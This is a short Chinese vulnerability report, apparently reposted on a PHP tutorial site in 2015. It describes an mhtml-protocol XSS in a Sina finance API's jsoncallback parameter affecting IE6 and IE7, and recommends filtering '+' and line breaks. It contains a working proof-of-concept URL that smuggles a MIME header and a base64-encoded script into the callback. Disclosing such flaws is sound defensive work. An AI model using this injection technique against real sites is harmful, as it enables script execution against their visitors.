mhtml协议XSS注入及修复方案 - 网站安全

mhtml协议XSS注入及修复方案 - 网站安全 - 自学ph

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] jsoncallback过滤UTF-7 BOM。但是依然存在mhtml协议XSS注入。详细说明：IE6IE7漏洞证明：mhtml:http://survey.finance.sina.com.cn/api/fusioncharts/get_from_data.php?sid=48302aid=18099jsoncallback=ax%2......

jsoncallback过滤UTF-7 BOM。但是依然存在mhtml协议XSS注入。
详细说明：

IE6

IE7

漏洞证明：
mhtml:http://survey.finance.sina.com.cn/api/fusioncharts/get_from_data.php?sid=48302&aid=18099&jsoncallback=ax%250AContent-Type%253Amultipart%252frelated%253Bboundary%253Dx--x%250AContent-Location%253A80sec%250AContent-Transfer-Encoding%253Abase64%250d%250a%250d%250aPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4%252b%253D--!80sec
修复方案：
json问题。过滤+、回车换行。

XYCMS律师事务所建站系统V1.1上传漏洞及修复 - 网

小议搜索匹配栏的注射 - 网站安全 - 自学php

子栏目

mhtml协议XSS注入及修复方案 - 网站安全 - 自学ph

最新评论

添加评论

更多文章推荐

添加评论